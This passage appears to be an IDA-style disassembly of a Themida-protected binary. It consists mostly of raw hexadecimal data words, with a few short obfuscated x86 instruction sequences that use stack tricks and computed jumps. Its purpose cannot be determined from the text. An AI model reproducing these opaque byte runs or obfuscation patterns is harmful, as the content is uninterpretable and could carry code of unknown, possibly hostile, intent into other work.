0FEEBBB1Fh, 0DC80CA69h, 987A89C5h, 14EA952Dh, 931EBC1Ah dd 760043DBh, 2BD66564h, 683C2FB9h, 0D77F9CEh, 0DBF03D8Fh dd 35A651D0h, 70125B98h, 9A701B69h, 0FBD53FA3h, 26F6BBA8h dd 22A1ACFCh, 28F10677h, 6210FDC9h, 5A82F36Ch, 6105C8C9h dd 22787B13h, 212C878Ah, 2D86F7A2h, 5CFFDC3Ch, 938D630Eh dd 0ADA79735h, 62375D4Fh, 1D00E57Dh, 68E78h, 0D33F3200h dd 0E7514535h, 0FF615949h, 157B7161h, 2A928777h, 52C01F8Ch dd 6757F55Dh, 7E6E0C70h, 97872585h, 0A2A13F9Dh, 0F7A8D041h dd 0A4B77600h, 0E0636A52h, 0E2D6AC35h, 0CBBF7578h, 70085E61h dd 0EB2F9306h, 105E69FEh, 319B8F65h, 45AFA393h, 34928C42h dd 30334042h, 53F8DB73h, 62Fh, 94329E91h, 0A846B0A4h, 0C05EC0B8h dd 0D674DAD0h, 0EB89F1E6h, 0BCB1237Eh, 0CFC6B654h, 0E4DDCD6Bh dd 0FCF6E684h, 0A001009Eh, 0F7072Fh, 0B1031676h, 35E0636Ah dd 0FEEB60C4h, 0B661AF69h, 0EA88E6E0h, 1CC75A55h, 0F3FA2293h dd 0B3017600h, 0F660C4BBh, 0F3BEFA6Bh, 7FCD7600h, 0F2FE2B7Ch dd 5F387600h, 6B54AB7Fh, 3D9BDE35h, 41000000h, 31DC6F6Ah dd 70F37A8h, 0D01E6FE9h, 78CB425h, 45936FE9h, 0ABDF50DBh dd 0BA6FE907h, 0EC18696Ch, 246FE907h, 2F958B61h, 704424C5h dd 0D81D7F19h, 760h, 9C200600h, 0CE000001h, 754B82ADh dd 33B01A7Eh, 8DFEA938h, 69FB2EF0h, 5228D321h, 0B28CF65Ch dd 55D1DD5Fh, 0EDE6BCC6h, 0CA348A8Dh, 18C35E4Dh, 0B3BD92A7h dd 22257313h, 923DC4C7h, 0A731C821h, 0D883D119h, 0CAA0802h dd 40B1221Ch, 19A8CF18h, 0BD2ED927h, 19A8CF95h, 0CCBE56A4h dd 0CF8856ACh, 28D3785Bh, 98000005h, 0AB9B39A5h, 0BFAF4DB7h dd 0D7C765C7h, 0EDDD7BE1h, 85F290F8h, 5BC3B82Ah, 72D6CDBDh dd 8BEBE4D4h, 0A503FDEDh, 36A70807h, 7600F80Eh, 0FB80A1Dh dd 4BB4B715h, 1A1D7B75h, 0EEDD5AC4h, 9497FDF3h, 8AFBA63Eh dd 69FB199Dh, 0D0C05EACh, 0F08678D6h, 0B7335FFh, 4CD8328h dd 0F30000h, 1206F694h, 221A0AA8h, 3C3222C0h, 534838D6h dd 81E04DEBh, 18B61E13h, 2FCD3128h, 48E6463Fh, 62005E58h dd 69910263h, 707600F8h, 150F0B5Dh, 4FEB4B7h, 0E487A3A6h dd 2C8C855Bh, 1840D329h, 276FE907h, 0EECE6FD9h, 7367251Fh dd 0DED37109h, 0D81D7E87h, 53CEh, 865C7400h, 47C42E8Ch dd 0CC38AA44h, 56AB8991h, 891D45D8h, 3D336FE9h, 0F28AD8D7h dd 9641D647h, 92E069FBh, 2C9D268Fh, 75FB9E04h, 0B5B41E12h dd 5E8AFD67h, 7475FB9Eh, 5D131680h, 45A79F69h, 9453AAADh dd 966F45B4h, 118BE2B6h, 34D2DE30h, 78000000h, 35E0636Ah dd 0FB4BEBC4h, 33148669h, 9F746A93h, 8AD8B721h, 0AB1509DFh dd 9F946A0Dh, 74DE3437h, 0FB49D401h, 94F2EC75h, 0A81206F6h dd 3ED00A5h, 5CAE0000h, 0ED2E9086h, 83D9CCAh, 77CDD068h dd 69D900Dh, 0B69DEA5Bh, 9EEC69FBh, 8DEBE59Bh, 96762D8Ah dd 0ED982B22h, 426ADB64h, 4975FBAAh, 0D11E91FBh, 0E0700DACh dd 0B4E60E7Fh, 0A7F56FE9h, 8781710Fh, 0C0CB2629h, 370D9641h dd 174DE3Eh, 69FBC358h, 92681361h, 0DE34379Bh, 913A9174h dd 5C5FC5BBh, 1BFB9C06h, 6ACEC399h, 0C0617028h, 71DB738Dh dd 0A3419F99h, 0D9841F0Eh, 0D765368h, 6164B270h, 0C92922F8h dd 2F8D875Fh, 3616D52Ch, 80EADEB4h, 392F277Dh, 0E1EC69D3h dd 3146B762h, 0D069FB61h, 2CC42E22h, 2C22F881h, 620B33C6h dd 641275FBh, 0AE04076Fh, 3E2EAC16h, 0B23BE644h, 0FB621941h dd 78722075h, 3518821Ah, 1F228A7Fh, 0C0F7169h, 0F8FB5F56h dd 9302E2A1h, 0DB5D3DF4h, 62B9E152h, 72C075FBh, 0D8363008h dd 1BA6A53Ah, 7156FF70h, 1967700Dh, 8666016h, 0FEFAE05h dd 0BBB1909Bh, 0A112BD55h, 69FB5DF8h, 3208B301h, 1FD5D83Ah dd 0C12BC329h, 9B595343h, 0E93F42A2h, 0FF97F9F1h, 0EE4C46FCh dd 31B0BB50h, 79581586h, 0E7BD700Dh, 31878AF2h, 0EF9AE8C7h dd 47CDF566h, 0EBE36FE9h, 0D23C8A89h, 47729EEFh, 0D1AA6FE9h dd 9F996FF1h, 7EE83E41h, 1DBF4AA1h, 2A91D8h, 6A370000h dd 5F35E063h, 0C97016Bh, 0FB119A9Bh, 6265B369h, 0FB1EE511h dd 845A1D75h, 1DBE288Eh, 9212693Dh, 0A459DE2Fh, 0FF000000h dd 0B4B7150Fh, 9EA109FEh, 8D90EEE8h, 0E17FDDD7h, 0E902B356h dd 15F596Fh, 1B797363h, 33CEBD18h, 576FF88h, 6FE90BDDh dd 0C1349EECh, 69FB2908h, 9025C311h, 4BAFA69Dh, 0AF5AF248h dd 5142B426h, 37780CF7h, 4CC45ACDh, 0C99F7010h, 25046ED2h dd 61562CD7h, 766B5BF9h, 15501C0Eh, 0B4977942h, 1FE0Fh dd 63CFC200h, 77E1D5C5h, 8FF1E9D9h, 0A50B01F1h, 0BA221707h dd 0E250AF1Ch, 0F7E785EDh, 0EFE9C00h, 2717B515h, 3231CF2Dh dd 0FB3860D1h, 34477600h, 521A0FE2h, 9CF2F55Dh, 7C766604h dd 6A2C801Eh, 0C435E063h, 69FB11C3h, 5078E94Ah, 5F75FB1Eh dd 0BE221911h, 0A6D22326h, 0DE75FB1Eh, 0E850451Bh, 84258FE5h dd 9179D0A4h, 0E56EDE2Fh, 12C3EB5Ch, 7CCA75FBh, 0FB12C1E9h dd 107AC875h, 0E1D7h, 0D35C7D00h, 0C9F09FDh, 6FE907E4h dd 5B339DEBh, 4A000361h, 99EAED55h dd 6FE902F6h, 1BC6241Eh, 7EE85045h, 0B8161000h, 0D0535AB5h dd 28FBB425h, 0D42269FBh, 0ECAFB729h, 0CBFB7ADCh, 196F72D2h dd 482BED81h, 53092244h, 0D7D66BE9h, 51040450h, 41572420h dd 6C5EF21Dh, 0D68119EEh, 3CA60800h, 0E10940B1h, 0C614700Fh dd 0E850451Bh, 7491CB3Dh, 332BE6CEh, 0D33DD53Fh, 8706555h dd 4121C416h, 0FFA48779h, 0F7h, 0CC6AD6C9h, 0E07EE8DCh dd 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch dd 1C1505A3h, 342E1EBCh, 0D83938D6h, 0FC3F67h, 0E93B4E76h dd 5E521A0Fh, 39BF1F4h, 278B8258h, 139C3FBDh, 0DFE2463Dh dd 7CEF689h, 8FDD6FE9h, 0F5534D25h, 0BA7C744Ah, 5FC961C1h dd 150F8DE1h, 754BB4B7h, 0D6AE1880h, 4BE07EDCh, 0A516C140h dd 69FEEB4Dh, 0E1453A10h, 5DE761B0h, 5B5EF664h, 6EBC9B05h dd 0FDBBB56Bh, 0F61E8F06h, 5760049h, 0E9871FB7h, 7358D446h dd 0AE557DEEh, 16647600h, 0D847AD82h, 1C86E8E0h, 41EC4A44h dd 0A40E766Bh, 5ECF58C1h, 76009836h, 1A8DF745h, 3A8ADF25h dd 0F0F3514Bh, 0DCDF433Ah, 66E8C87Fh, 76E1CDF5h, 0F68EDCCDh dd 0F1C0A057h, 0BFB99F7h, 47B0B311h, 0A9137D71h, 7275DBD1h dd 0AD7C5C1Bh, 0C7B755B3h, 0C76C6FCDh, 3, 0F599575h, 0F7ADB01Ch dd 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h dd 7F35389Eh, 6C222587h, 4D0B0E78h, 81E38953h, 4C3h, 4BE5600h dd 29000000h, 1C875EF3h, 89575C24h, 4C781E7h, 83000000h dd 3C8704EFh, 0C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], ebx mov ebx, 3C056179h mov ecx, 0CA128BCEh add ecx, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push ebx mov ebx, 8 add ebx, 106222DAh add ebx, esi sub ebx, 106222DAh mov [ebx], ecx pop ebx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_54EA15 ; --------------------------------------------------------------------------- dw 7FE6h db 0D9h ; --------------------------------------------------------------------------- loc_5A6179: ; CODE XREF: Themida_:005A5708j mov eax, 617F6D6h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 38DDh dd 83335962h, 7684163Dh, 3D784435h, 852458E1h, 0A58002A5h dd 3089126Bh, 0B3876D0Eh, 0BFD1523Ch, 0C006D96h, 0D4ED3C64h dd 0BD5D1E58h, 0C1F12988h, 9EF24C81h, 63AC50ABh, 239E5DF8h dd 1A494875h, 98EC605Bh, 3B4662B3h, 703B1694h, 919B0386h dd 0B9931BD1h, 0BEAC154Ah, 54E95B22h, 4507990h, 3B1251E6h dd 84AB6724h, 8D8D2EEEh, 617F8C1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 3CC35747h, 23891496h, 0A3DA810Eh dd 0E8556553h, 11h, 75F39Fh, 0F24038A1h, 3AA24645h, 0B6645E26h dd 55BD8B98h, 5E061202h, 9A18D89h, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 86B4DFC3h dd 0FECC155Ah, 10E999CCh, 13000000h, 3D71501Eh, 0C985FC60h dd 727453CAh, 0C7A9AEA2h, 12050585h, 59A006h, 0C7D5B400h dd 121BD985h, 6, 49B5FF00h, 0F06122Ah, 8Fh, 3195FF00h dd 6A06121Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 1668C355h, 0F20497Ah, 58Ch, 60F96000h dd 95036161h, 6121A55h, 95FF006Ah, 61219CDh, 3BEBC08Bh dd 44C8DD43h, 0C26DE6E4h, 0E2B09C02h, 65FB2A1Bh, 0BD159502h dd 0E9E7BECEh, 90DE5C09h, 0B46B4319h, 0FE8A43C2h, 0F17EE9E2h dd 0C62AECADh, 0B6A56C88h, 444926FFh, 0C1DEAF17h, 0E8735BA2h dd 8, 29E5C9D6h, 0EC6693D5h, 65BD3156h, 5E061205h, 0D59D8B58h dd 8106122Dh, 75F0C0h, 58DB8100h, 6818E1E6h, 1D49h, 0AA5ABA66h dd 259D015Fh, 0FF06120Ah, 12E930h, 0E1210000h, 1FB95670h dd 9656C769h, 27AF56FEh, 2123AA8Ah, 75858959h, 8106122Dh dd 0C31DF3C1h, 199D0935h, 81061216h, 86CFFDC1h, 0B1B5031Ah dd 81061212h, 2FB5A5C1h, 25858970h, 89061219h, 83F48A08h dd 484802E8h, 15880Fh, 0DE80000h, 87000000h, 0DD14DA36h dd 30C8C9E3h, 98A4BFECh, 4F5ED88Bh, 1C850Fh, 95230000h dd 6121F71h, 23E9h, 3182600h, 0B0DEFC03h, 0E3CDAA54h, 0B562FBF9h dd 9531F62h, 122CD9B5h, 68E95B06h, 0FBFFFFFFh, 75E56D1Bh dd 0FAAE8D8Dh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 89C24AC3h, 89F1BF0Fh, 1209A18Dh dd 19DA8106h, 0C704796Bh, 12050585h, 662806h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 340B463Ch, 41158113h, 0D10BF781h, 85297212h, 6122F11h dd 1BD985C7h, 612h, 8D890000h, 6120D69h, 268DB5FFh, 6A0612h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 6EEBA7C3h, 4B532F79h, 8B2D9EE8h, 1202ADBDh, 7E906h dd 44920000h, 0D54D9F66h, 95FFF55Fh, 6121B31h, 0CE9h, 10054400h dd 519B21D7h, 0FE984902h, 0FF006AE0h, 1219CD95h, 0EBC08B06h dd 6F04B23Eh, 693C56CDh, 0C9A30436h, 3FCB1988h, 1B19787Fh dd 556E8FBBh, 6E5AA921h, 4F4BC8BAh, 0AB454959h, 0EA0DB52Fh dd 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 965FD8F8h, 8AEA9A05h dd 0E8C0419Fh, 11h, 378A720Ch, 93EB3A99h, 0DDD2343Ch, 0C0A36D01h dd 5E9EB639h, 2629E381h, 0C681237Fh, 5A0Ah, 958BC033h dd 6120D25h, 0B6060C8Bh, 3DF18136h, 0F21A9C0h, 0C181D1BFh dd 69661DCDh, 81958B56h, 5A06122Fh, 2CACE981h, 0A3BA7920h dd 5157F379h, 81CA8A60h, 962419DFh, 48F613Bh, 0B58B6006h dd 6121231h, 0E961DF8Bh, 12h, 8ACFA88Ah, 675849C2h, 0C7FEE962h dd 80A1F895h, 0E8835D6Ch, 5BD8B04h, 81061224h, 0FFA6C4F8h dd 28850FFFh, 0E9000000h, 12h, 0D7F3A15Dh, 0E1BA11CAh dd 69F9119Bh, 75538129h, 23E98460h, 0E9000000h, 5F07B549h dd 0D7782D4Fh, 80C187F9h, 65E9E9D6h, 8AFFFFFFh, 5A73E43Fh dd 5DC50970h, 0B4205619h, 1BE9C361h, 0D9000000h, 7A5A0Ah dd 24300h, 4 dup(0) dd 7E90000h, 6800000Ch, 617FD88h, 0FB4F01E9h, 0FEAA68FFh dd 0F7E90617h, 68FFFB4Eh, 6180041h, 0FB4EEDE9h, 0FA68FFh dd 0E3E90618h, 68FFFB4Eh, 61801B9h, 0FB4ED9E9h, 35868FFh dd 0CFE90618h, 68FFFB4Eh, 61803FEh, 0FB4EC5E9h, 56668FFh dd 0BBE90618h, 68FFFB4Eh, 6180659h, 0FB4EB1E9h, 0C0DEC4FFh dd 0BFE7BE08h, 0BDE9BD07h, 0B9E5BB05h, 0BAECB701h, 27DE9202h dd 28722A7Ch, 256F2777h, 256F277Fh, 4A6A227Ch, 55D3394Fh dd 886B396h, 5C247D8Bh, 81A9DE46h, 0DE093B5h, 0F0AEF37Dh dd 0EFB380FFh, 7D490F31h, 2D5E722Ah, 0F0C3E3C1h, 0EA8CE9FFh dd 0F6A9BB93h, 0BDDA0E66h, 0B6B24C6Fh, 0A6B6A1ADh, 4FBE6A41h dd 9000000h, 0D2C386B3h, 0D4D2D119h, 0C6146744h, 0BB93C105h dd 1796873Ah, 47BFEE35h, 0C656A920h, 6C5EBA6Eh, 0D16124Ch dd 41C75601h, 2036EF6Ah, 4C6FAAF8h, 0A567BA6Dh, 0E4h, 0B9FD1392h dd 9048B77h, 0F6168D7h, 2AAA7D60h, 0BF9C2C7Ah, 247DD96Ch dd 0A9DE465Ch, 0FC93B581h, 0B8C65B38h, 805326A8h, 0BC3D66F0h dd 0A02ABAE4h, 0FDD0A303h, 0C2BEE36Dh, 81E744ACh, 0A99F9B5h dd 5C2F0C9Ch, 326FF989h, 0B1F9B46Ch, 2A401F0h, 6FC29F2Fh dd 81E0B021h, 0C7D7CAB5h, 0C2DCC50Fh, 0B1EF3732h, 23509AEDh dd 6EB66F60h, 0D3394F31h, 86B581E0h, 5FAD00D3h, 0BB93E33Ah dd 0ACC0782Bh, 0B5CBBC9Fh, 42781F42h, 0B5344F7h, 0C560E98h dd 5B510F97h, 0EB3ADAE6h, 9BE7B53h, 9D050000h, 0A6FF4901h dd 0A8FE4800h, 0A4FC46FEh, 0ABF842FAh, 9DD343FBh, 0B56D396Ah dd 0B26A346Bh, 0B26A3C68h, 0AD653968h, 947C928Dh, 0C9B39654h dd 267DCE4Bh, 540DC880h, 81A9D63Eh, 0ADF1B0B5h, 82025508h dd 6AC77F1Fh, 0D73D530Ch, 8AB581A9h, 93A84D7h, 8643594Ah dd 0B7BB93C1h, 0C81C7404h, 924C6C41h, 7701910Dh, 0FFE57529h dd 15671E03h, 0A65F0019h, 6C416890h, 0D72ADD4Ch, 41D6CC8Bh dd 0D7A86Ah, 4D950000h, 0E1BE4E58h, 247DFB8Eh, 4360EA7Ah dd 0DE7BD363h, 24B581AEh, 1F69217Dh, 0E8FE82h, 354A7E52h dd 7D4C039Eh, 542766C5h, 6C9DF181h, 4A03BCADh, 7EA4CC34h dd 17CE814Ah, 8A0EA184h, 5BA9FC70h, 446CAD36h, 0E40C22DBh dd 594C6CAFh, 799FB5A6h, 0EC4C6CAFh, 8E41E639h, 0D2B1C2D6h dd 980699E1h, 0EC3E5445h, 45427B52h, 0FFE171C6h, 0D02370C5h dd 0CED8CB2Bh, 9D8E613Eh, 67584E55h, 151C87E8h, 75C8FC6Ah dd 0E9BA02BDh, 0B9EA6ABDh, 6D406640h, 0DBEFF3AFh, 0CFA73F3Ah dd 89Ch, 6B237B27h, 6A228421h, 68208620h, 641C821Eh, 651D891Ah dd 178C7BF5h, 128DD78Fh, 1A8AD48Ch, 178AD48Ch, 0B4AFCF87h dd 9657769Eh, 0F06DEBB3h, 0C880267Dh, 0C37B237Eh, 7A247D66h dd 0B04160EAh, 951FAFEFh, 28059511h, 0B6CA8255h, 635EE285h dd 0FCA38EECh, 377F3829h, 90F5566Ch, 3286C483h, 0D5BE0C5Fh dd 8ABB93E3h, 39EE6D7h, 2EB8489Bh, 9C267E73h, 0F2EE6C70h dd 0F18154C5h, 8504114h, 9B78089Eh, 1CD59048h, 6FC51E06h dd 4DA0534Ch, 3ACAD4CDh, 29A025E2h, 7ADFDBC5h, 0DB930B96h dd 9D8E1091h, 0C8584E55h, 0B00898EBh, 0C729E077h, 0F2263B5Fh dd 0ED37EFAFh, 0B1F9EAB4h, 0D060B3F3h, 29E0AB78h, 89D1EAC7h dd 3D378A1Ch, 0F1ADF424h, 0F1FF7E39h, 5FA47B73h, 722FAF02h dd 59A19C2Ch, 0BA045747h, 0C3D9CA89h, 0C93B820Eh, 0C0D48C3Fh dd 268023B3h, 0F5E6B996h, 5DB0F6ADh, 0E4FAB36Ch, 0D9178E3Ch dd 0DD2B7E31h, 0D705965Ch, 9133B635h, 0AE5DE9BDh, 4421B1F5h dd 0C6791E71h, 0AD09DE36h, 4D53D305h, 6C37C151h, 2762A956h dd 380BE2ADh, 5DC6C2A8h, 0D00EF60Ch, 9043D305h, 0EA6F6BBDh dd 0AB41FD5Ah, 43A77FDh, 1C640000h, 38CB1E88h, 0C4E2C40Ch dd 0B6045734h, 0B581A94Eh, 81B98E5Ah, 5D3E02B5h, 66C24A7Eh dd 0C74A7E44h, 39D3BB48h, 0AF0228A0h, 84755465h, 4FE4CCBh dd 12A4C88h, 0DD3003A3h, 6C7AD68Fh, 0EEAC5F44h, 30EECC42h dd 504DC74h, 0BE000007h, 0B802BAE4h, 0B701B9EDh, 0B5FFB7EFh dd 0B1FBB3EBh, 8CFCB4F2h, 248221E4h, 217D226Ch, 21851F69h dd 1C821F69h, 33494464h, 0B399A9CDh, 7D850280h, 0CF219624h dd 4E8EAFh, 38499D2Dh, 0D4E96859h, 4293628Fh, 0A7BDAE01h dd 0BB99BD0Eh, 68BC7427h, 5A394ABCh, 207E2169h, 6F60B390h dd 7BCE1C59h, 0CC863942h, 371595BCh, 35142597h, 5C438B44h dd 54A1EF42h, 1FFE77Dh, 7BC3BE4Eh, 0EEB7B2Bh, 814071BBh dd 73497A90h, 0BB6E85F1h, 7F1F82CAh, 36DEF4EFh, 2B8DD1F2h dd 6152A578h, 5E168819h, 0A97724A3h, 0AAFE48F5h, 0D4CAD757h dd 53E96016h, 22FA92F1h, 64Ch, 0BB732B77h, 0BA723471h dd 0B8703670h, 0B46C326Eh, 0B56D396Ah, 0C7DC2B45h, 0C2DD27DFh dd 0CADA24DCh, 0C7DA24DCh, 4FF1FD7h, 99A906EEh, 40BD3BB3h dd 0D2C386B3h, 93BDD7BCh, 45D588BBh, 2A4024Ah, 2C722FAFh dd 0F791129Ch, 6C443BE1h, 0A87B2E4Ch, 8B138E18h, 9287ABFBh dd 0E130FEBh, 309DDA59h, 19A4A71Bh, 8C4F7CC6h, 0B9AE29Bh dd 0DB2E0B9Bh, 7EC6E48Dh, 0EEA65942h, 5AC112D6h, 0C1967E46h dd 1526465Ah, 0C6DF1A89h, 493A0DE0h, 42CD8233h, 7000B348h dd 42C5F518h, 0A45D1658h, 42C5668Eh, 0DA28DB58h, 5842C532h dd 0D3217427h, 5842C510h, 8947574Ah, 24C010FBh, 8D8B63FBh dd 36000005h, 307A326Ch, 2F793175h, 2D772F77h, 29732B73h dd 4742C7Ah, 9C0A996Ch, 99059AE4h, 990D97E1h, 940A97E1h dd 0ABC1BCDCh, 0B399A845h, 0B3FD7AF8h, 0BCD2C386h, 0BB99A51Bh dd 0A8FEA8F0h, 0CFDB055h, 2D83D98Dh, 69B2F117h, 0FAB1644Ch dd 0B4073495h, 97079A24h, 0DCBFCBDFh, 87D2514Ch, 0C39401E3h dd 7E23A3F6h, 831E6820h, 48908B1Bh, 0DCB9495Dh, 332FD5EBh dd 6F224C69h, 99059C1Ch, 8C95B909h, 61465CDBh, 9C9B2EC0h dd 0CB1E881Ch, 9048564Bh, 0DD148DD5h, 7350E0C6h, 56014DA0h dd 0EF6A473Ch, 1AAAFCA7h, 4E28EA3Dh, 73000001h, 0D2C386B3h dd 93C707BCh, 0F58538BBh, 6C4B499Dh, 32274B4Ch, 3324E714h dd 98EBBBEBh, 253891A7h, 5A0D427Eh, 554958A2h, 1C8A1C64h dd 0CC5CAF8Ch, 873F5F42h, 92834673h, 0F447574Ah, 188ED03h dd 0FAAD4848h, 7F276F6Ah, 930D9727h, 0CB9E7B0Bh, 0FE2A78h dd 0D2CE5848h, 119ABD49h, 63AB7666h, 4E106343h, 25h, 0C386B399h dd 8C1A8AD2h, 91324839h, 0A6BB93C1h, 0D90B63F3h, 0AF4C6C41h dd 0B99EAEB3h, 0BB6A41D6h, 0A4h, 3D530C06h, 0B581A9D7h dd 7DA3B98Ah, 0F0B581A9h, 97176A3Dh, 1984B00Ah, 91202302h dd 0FFA42EBEh, 148D17A7h, 3170FA8Ah, 0B2FAB56Dh, 0F5DB0EEh dd 0B58168A2h, 0FDB5E9B8h, 8F9D8E9h, 9694B2F2h, 2314C7BBh dd 26DEC8DBh, 0CCFBC7DCh, 8D105693h, 9DD23A50h, 0D4874C6Dh dd 0EA702E01h, 0D830EF48h, 3EE6840h, 0CDD50000h, 0D6CF19D1h dd 0D8CE18D0h, 0D4CC16CEh, 0DBC812CAh, 0CDA313CBh, 853D693Ah dd 823A643Bh, 823A6C38h, 7D356938h, 0A44C625Dh, 99B399AAh dd 267D9E1Bh, 237EC880h, 0C008C37Bh, 0DD70C3E3h, 0D2CD247Dh dd 8D1D811Fh, 190ADDB0h, 40D0CED1h, 0F6801063h, 0BA02F3ABh dd 0B068BBEBh, 2975AF53h, 8D57B582h, 34A7E29h, 0C2213F6h dd 446625ABh, 0F7A7F840h, 0BC4CFFA4h, 17945B68h, 13B395AFh dd 0E4743274h, 70613407h, 7430995Ah, 0D7EDBE42h dd 46541031h, 0C5E1C424h, 0B2855835h, 0D6C560F4h, 0E2BA523Ah dd 348h, 0BF77277Bh, 0BE763075h, 0BC743274h, 0B8702E72h dd 0B971356Eh, 0C3E02749h, 0BEE12BE3h, 0C6DE28E0h, 0C3DE28E0h dd 80323DBh, 99AA0AF2h, 44C13FB3h, 0EA7A247Dh, 0A55D4160h dd 0B0A16091h, 0A93BE1F7h, 7B2EB581h, 367E3728h, 97E5386Eh dd 0BB93C5FEh, 0BC14A457h, 4C6C4D68h, 4FFF6460h, 6A41D708h dd 636Ch, 86B3B700h, 0DB5626DFh, 6D4ADAC4h, 1723A5B6h dd 8C3D5344h, 0B1BB9308h, 3E540DFEh, 4C6F18D6h, 4E58D88Bh dd 7A750558h, 8DA90FFBh, 5BA78A19h, 0CCE1D985h, 0CF1D7043h dd 4C6FDA15h, 0B2425C45h, 96267828h, 477EE305h, 0E460F9F5h dd 6A414B73h, 8D198AD2h, 8E7C3CFDh, 0E6B3780Ah, 0DDFEC013h dd 49000000h, 0EA7A247Dh, 0F82036EFh, 6DB581A9h, 0A99E869Ch dd 20D3B581h, 297AFA4Dh, 3E63ED7Dh, 0A0B66F60h, 0B581A978h dd 57E73AEDh, 64ACD4CDh, 0F0186640h, 65B581A9h, 6C27DFB2h dd 0D3C355EDh, 0B5E9BF0h, 81EC1CBDh, 0F7ADF5B5h, 11951FAFh dd 0EF6FC295h, 0B3FBECB2h, 4623B3F3h, 0B0F13BF3h, 0F90A5EEEh dd 7E13291Ah, 83BB93F1h, 0AD3D693Bh, 94248223h, 0EC91E4B7h dd 0B31F051Bh, 9F524C6Fh, 4E21851Fh, 92718296h, 42D78BA1h dd 0B3664278h, 7D297AC2h, 7E287BC5h, 0DA102EC0h, 0A47C143Ah dd 1E0h, 27DFBFE3h, 26DEC8DDh, 24DCCADCh, 20D8C6DAh, 21D9CDD6h dd 5B48BFB1h, 5649934Bh, 5E469048h, 5B469048h, 706B8B43h dd 99ACB25Ah, 0AC29A7B3h, 0CED3267Dh, 0FB45FDD0h, 0E340F8A6h dd 0D73D530Ch, 8AB581A9h, 0C15120D7h, 1061AEDBh, 9F4673BDh dd 0A8013883h, 2ED6ECEBh, 23B5816Bh, 0D9CA9D70h, 930306C3h dd 0F48437BBh, 6F03489Ch, 118D124Ch, 0F6A8F781h, 9F848066h dd 819A96E8h, 9A0C98E0h, 8EDA2D0Ah, 6A4114C9h, 9FABh, 247DF600h dd 4360EA7Ah, 0DE7BD363h, 24B581AEh, 722C747Dh, 8B4E05E2h dd 0D3F215CBh, 8BD58D60h, 0FDF88816h, 64B7EFB5h, 392AE91Ah dd 1A6E3880h, 7ED31C04h, 0CB9E514Ah, 0B6512A78h, 33E6446Ch dd 775A677Bh, 39D7086h, 165E427Bh, 0A9861690h, 0DFEB156h dd 10C8DEC5h, 0BC9DDC6h, 3ADBD025h, 0EDE5BD55h, 0D6000000h dd 0D01AD2CCh, 0CF19D1D5h, 0CD17CFD7h, 0C913CBD3h, 0A414CCDAh dd 3C6A39CCh, 39653A84h, 396D3781h, 346A3781h, 4B615C7Ch dd 0B399AFA5h, 7D9D1A98h, 7EC88026h, 66C37B23h, 6096247Dh dd 8CA0DA73h, 0BB3A2BFEh, 6DEDCA6Fh, 2F6F3277h, 0EF79095Ch dd 2034ECB2h, 293F3013h, 0BB99FB88h, 34861961h, 496180D3h dd 48D8ABF7h, 332FA987h, 734638E8h, 8A1B7B20h, 2FB9491Ch dd 10F80E72h, 6A4C6949h, 10C36836h, 663B853Dh, 46358554h dd 0DAB7475Fh, 0C7876923h, 0E86F5E10h, 0A275C103h, 0FBCEBA12h dd 3834C82Bh, 0ECB2EF23h, 0E7B7EA34h, 1ED3CD57h, 0B4912185h dd 0D8C751E1h, 0F7AC36C6h, 0ABCF1FAFh, 3B3F0FB6h, 0EFAFF226h dd 0ADC37C37h, 0C827FC47h, 9D099AFAh, 0AAF777CAh, 0D8C64F4h dd 91000000h, 0FC5AC2D8h, 5C0FC827h, 13AE7609h, 0E979257Dh dd 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h dd 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 0E6895639h, 4C681h dd 0B8500000h, 4, 8758C629h, 565C2434h, 0C681E689h, 4 dd 8704EE83h, 895C2434h, 8957241Ch, 4C781E7h, 83000000h dd 3C8704EFh, 14895C24h, 1B85024h, 0BB08B831h, 0FD5FCB46h dd 48BC301h, 4C48124h, 54000000h, 8124148Bh, 4C4h, 89525500h dd 5AD589DAh, 5D086A89h, 5A2434FFh, 8B04C483h, 8950241Ch dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFB4306h dd 6BB86588h, 3061807h, 0E5E0FFC5h, 0A65C2F60h, 0E52BF66Eh dd 0F050678Eh, 5C4FB438h, 0F735AB55h, 81566C3Ah, 1137DC3Fh dd 0A7144C0Dh, 7D718A6Bh, 3F3F7EB3h, 0B1385DAFh, 0DB615A27h dd 0A941DB77h, 4C24C643h, 605EFFD8h, 35479FFDh, 964A526Ch dd 0D300D62Eh, 513309E8h, 2A67F783h, 494060A6h, 0F0067D3Eh dd 0B060DF84h, 0D65291B9h, 0C8230E9Fh, 0B778DF33h, 1414C826h dd 386DBCEAh, 7D1ED8CDh, 5A6DAE9Ch, 0E963E2CAh, 0BDh, 13EFC3A5h dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh 